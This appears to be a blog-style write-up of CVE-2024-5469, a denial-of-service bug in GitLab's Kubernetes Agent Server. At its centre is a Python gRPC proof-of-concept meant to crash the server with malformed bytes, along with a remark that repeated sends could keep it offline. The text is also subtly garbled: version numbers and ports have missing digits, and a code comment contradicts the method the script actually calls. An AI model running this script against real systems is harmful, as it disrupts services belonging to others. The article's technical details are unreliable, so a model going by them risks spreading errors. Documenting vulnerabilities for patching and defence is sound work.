In early June 2024, a significant vulnerability was identified in GitLab CE/EE affecting the Kubernetes Agent Server (KAS). Tracked as CVE-2024-5469, this weakness allows a remote attacker to crash the KAS process using a specially crafted gRPC request. This Denial of Service (DoS) flaw impacts all versions from 16.10. prior to 16.10.6 and from 16.11. before 16.11.3.

In this article, we break down the vulnerability in simple terms, demonstrate how it works with code snippets, give practical exploit details, and link you to original sources for further reading.

What is GitLab KAS?

GitLab KAS (Kubernetes Agent Server) is a core component for handling secure communication between GitLab and your Kubernetes clusters. KAS relies heavily on gRPC, a powerful remote procedure call protocol.

Overview

CVE-2024-5469 arises from insufficient validation of certain gRPC request payloads in KAS. An attacker with network access to KAS (typically on TCP port 815 or 8151) can send a malformed or oversized gRPC message, causing the KAS process to panic and crash.

Reference:
- GitLab Security Advisory: GHSA-p6jc-2g44-h7c2
- CVE Details on NVD

Affected Versions

- CE/EE from 16.10. up to (but not including) 16.10.6
- CE/EE from 16.11. up to (but not including) 16.11.3

If you're running 16.10.x or 16.11.x, make sure to upgrade to 16.10.6 or 16.11.3+.

How the Exploit Works

To exploit CVE-2024-5469, an attacker sends specially crafted gRPC requests that KAS cannot safely parse. When the server tries to handle this malformed request, it throws an unhandled exception and stops running.

The exploit does not require authentication and can be performed by anyone with network access to the KAS service.

Example Exploit Code: Crashing KAS with Python gRPC Client

Below is a Python script (using grpcio and protobuf) that demonstrates sending an invalid gRPC request to KAS. This is a proof-of-concept showing how simply malformed data can disrupt services.

> ⚠️ Warning: Do not run this against production systems you do not own. This will crash the GitLab KAS process.

import grpc
import sys

# Replace with actual KAS host and port (default is 815 or 8151)
KAS_HOST = "gitlab.example.com:815"

# Use a non-existent or malformed protobuf definition
# Here we use an invalid payload for demonstration
def send_malformed_request():
    # Create an insecure channel (for demo)
    channel = grpc.insecure_channel(KAS_HOST)
    
    # KAS exposes multiple gRPC services. We'll send a request with a made-up method and invalid bytes.
    # Since KAS expects a valid protobuf message, sending bad data can crash the server.
    stub_method = "/kas.KubernetesAgentService/GetAgentConfiguration"

    # The key part: raw malformed data (totally random, not matching expected protobuf structure)
    bad_payload = b"\x00\xff\xff\xffCRASHKAS"

    try:
        # Low level API lets us bypass client stubs and send raw requests
        response = channel.unary_unary(stub_method)(
            bad_payload,
            timeout=3
        )
        print("KAS did not crash (unexpected).")
    except grpc.RpcError as e:
        print(f"RPC Error: {e}")

if __name__ == "__main__":
    send_malformed_request()

This script sends a badly formed protobuf message to KAS over gRPC. If the server is unpatched and the vulnerability exists, the process will crash with a panic error (visible in the server logs). In a real-world attack, this could be automated or sent repeatedly to keep KAS offline.

Watch for unexpected server panics or restarts in your KAS logs.

Official Fix:
The GitLab team addressed this by improving input validation and error handling in the KAS gRPC service.

GitLab Release Note

Conclusion

CVE-2024-5469 is a dangerous, but easy-to-fix, vulnerability in GitLab’s KAS component. Anyone with network access could crash your Kubernetes integration and disrupt your DevOps workflow. The fix is straightforward: update to the latest patched version and avoid exposing KAS to untrusted networks.

More Information

- GitLab Security Advisory
- GitLab Docs: KAS
- CVE-2024-5469 on NVD

Timeline

Published on: 06/14/2024 04:15:43 UTC
Last modified on: 06/17/2024 12:42:04 UTC